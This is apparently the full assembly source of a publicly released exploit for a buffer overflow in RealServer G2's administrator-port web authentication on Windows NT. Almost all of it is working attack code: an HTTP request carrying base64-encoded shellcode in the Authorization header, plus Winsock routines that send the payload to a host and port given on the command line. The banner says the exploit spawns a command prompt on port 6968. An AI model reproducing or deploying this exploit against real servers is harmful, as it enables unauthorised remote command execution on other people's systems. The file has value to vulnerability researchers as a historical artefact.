; The binary is available at http://www.beavuh.org. ; ; This exploits a buffer overflow in RealServers web authentication on ; the administrator port - hence the reason the shellcode is base64 encoded. ; This has been tested on the NT version with a default installation. ; If RealServer is installed in a different directory than the default, the ; buffer will need to be adjusted accordingly. ; The administrator port is randomly selected at installation, but as you'll ; only be testing on your own networks this won't matter :) ; ; To assemble: ; ; tasm32 -ml realown.asm ; tlink32 -Tpe -c -x realown.obj ,,, import32 ; ; TASM 5 required! ; ; dark spyrit .386p locals jumps .model flat, stdcall extrn GetCommandLineA:PROC extrn GetStdHandle:PROC extrn WriteConsoleA:PROC extrn ExitProcess:PROC extrn WSAStartup:PROC extrn connect:PROC extrn send:PROC extrn recv:PROC extrn WSACleanup:PROC extrn gethostbyname:PROC extrn htons:PROC extrn socket:PROC extrn inet_addr:PROC extrn closesocket:PROC .data sploit: db "GET /admin/index.html HTTP/1.0",0dh,0ah db "Connection: Keep-Alive",0dh,0ah db "User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)",0dh,0ah db "Host: 111.111.11.1:1111",0dh,0ah db "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",0dh,0ah db "Accept-Language: en",0dh,0ah db "Accept-Charset: iso-8859-1,*,utf-8",0dh,0ah db "Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" db "JCQkJCQkJCQkJCQkJCQkJCQ6wiQkJBXRToAkJCQkJCQkJCQkJCQkJCQkIt0JPiL/jPAUPf" db "QUFnyr1mxxovHSIAwmeL6M/aWu5mcQEbB6whW/xOL0PwzybELSTLArITAdflSUVZSs5T/E" db "6tZWuLsMsCshMB1+bOcVv8Ti9D8M8mxBjLArITAdflSUVZSs5T/E6tZWuLsg8YFM8BQQFB" db "AUP9X6JNqEFZT/1fsagJT/1fwM8BXULAMq1irQKtfSFBXVq1W/1fASFBXrVatVv9XwEiwR" db "IkHV/9XxDPAi0b0iUc8iUdAiwaJRzgzwGa4AQGJRyxXVzPAUFBQQFBIUFCtVjPAUP9XyP9" db "28P9XzP92/P9XzEhQUFP/V/SL2DPAtARQwegEUP9X1IvwM8CLyLUEUFBXUVD/d6j/V9CDP" db "wF8IjPAUFf/N1b/d6j/V9wLwHQvM8BQ/zdWU/9X+GpQ/1fg68gzwFC0BFBWU/9X/FczyVF" db "QVv93rP9X2GpQ/1fg66pQ/1fkkNLcy9fc1aqrmdrr/Pjt/Mnw6fyZ3vztyu346+3s6dD3/" db "/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX" db "19vqZzuvw7fzf8PX8mcv8+P3f8PX8mcr1/Pzpmdzh8O3J6/b6/Orqmc7K1trSqquZ6vb68" db "vztmfvw9/2Z9fDq7fz3mfj6+vzp7Znq/Pf9mev8+u+Zm5mCoZmZmZmZmZmZmZmZmfr0/bf" db "84fyZ/////w==",0dh,0ah,0dh,0ah,0 sploit_length equ $-sploit logo db "RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.", 13, 10 db "by dark spyrit ",13,10,13,10 db "usage: realown ", 13, 10 db "eg - realown host.com 6666",13,10 db "the exploit will spawn a command prompt on port 6968",13,10,0 logolen equ $-logo errorinit db 10,"error initializing winsock.", 13, 10, 0 errorinitl equ $-errorinit derror db 10,"error.",13,10,0 derrorl equ $-derror nohost db 10,"no host or ip specified.", 13,10,0 nohostl equ $-nohost noport db 10,"no port specified.",13,10,0 noportl equ $-noport reshost db 10,"error resolving host.",13,10,0 reshostl equ $-reshost sockerr db 10,"error creating socket.",13,10,0 sockerrl equ $-sockerr ipill db 10,"ip error.",13,10,0 ipilll equ $-ipill cnerror db 10,"error establishing connection.",13,10,0 cnerrorl equ $-cnerror success db 10,"sent.. spawn connection now.",13,10,0 successl equ $-success console_in dd ? console_out dd ? bytes_read dd ? wsadescription_len equ 256 wsasys_status_len equ 128 WSAdata struct wVersion dw ? wHighVersion dw ? szDescription db wsadescription_len+1 dup (?) szSystemStatus db wsasys_status_len+1 dup (?) iMaxSockets dw ? iMaxUdpDg dw ? lpVendorInfo dw ? WSAdata ends sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockaddr_in ends wsadata WSAdata sin sockaddr_in sock dd ? numbase dd 10 _port db 256 dup (?) _host db 256 dup (?) _port2 db 256 dup (?) buffer db 1000 dup (0) .code start: call init_console push logolen push offset logo call write_console call GetCommandLineA mov edi, eax mov ecx, -1 xor al, al push edi repnz scasb not ecx pop edi mov al, 20h repnz scasb dec ecx cmp ch, 0ffh jz @@0 test ecx, ecx jnz @@1 @@0: push nohostl push offset nohost call write_console jmp quit3 @@1: mov esi, edi lea edi, _host call parse or ecx, ecx jnz @@2 push noportl push offset noport call write_console jmp quit3 @@2: lea edi, _port call parse push offset wsadata push 0101h call WSAStartup or eax, eax jz winsock_found push errorinitl push offset errorinit call write_console jmp quit3 winsock_found: xor eax, eax push eax inc eax push eax inc eax push eax call socket cmp eax, -1 jnz socket_ok push sockerrl push offset sockerr call write_console jmp quit2 socket_ok: mov sock, eax mov sin.sin_family, 2 mov ebx, offset _port call str2num mov eax, edx push eax call htons mov sin.sin_port, ax mov esi, offset _host lewp: xor al, al lodsb cmp al, 039h ja gethost test al, al jnz lewp push offset _host call inet_addr cmp eax, -1 jnz ip_aight push ipilll push offset ipill call write_console jmp quit1 ip_aight: mov sin.sin_addr, eax jmp continue gethost: push offset _host call gethostbyname test eax, eax jnz gothost push reshostl push offset reshost call write_console jmp quit1 gothost: mov eax, [eax+0ch] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax continue: push size sin push offset sin push sock call connect or eax, eax jz connect_ok push cnerrorl push offset cnerror call write_console jmp quit1 connect_ok: xor eax, eax push eax push sploit_length push offset sploit push sock call send push successl push offset success call write_console quit1: push sock call closesocket quit2: call WSACleanup quit3: push 0 call ExitProcess parse proc ;cheap parsing.. lewp9: xor eax, eax cld lodsb cmp al, 20h jz done test al, al jz done2 stosb dec ecx jmp lewp9 done: dec ecx done2: ret endp str2num proc push eax ecx edi xor eax, eax xor ecx, ecx xor edx, edx xor edi, edi lewp2: xor al, al xlat test al, al jz end_it sub al, 030h mov cl, al mov eax, edx mul numbase add eax, ecx mov edx, eax inc ebx inc edi cmp edi, 0ah jnz lewp2 end_it: pop edi ecx eax ret endp init_console proc push -10 call GetStdHandle or eax, eax je init_error mov [console_in], eax push -11 call GetStdHandle or eax, eax je init_error mov [console_out], eax ret init_error: push 0 call ExitProcess endp write_console proc text_out:dword, text_len:dword pusha push 0 push offset bytes_read push text_len push text_out push console_out call WriteConsoleA popa ret endp end start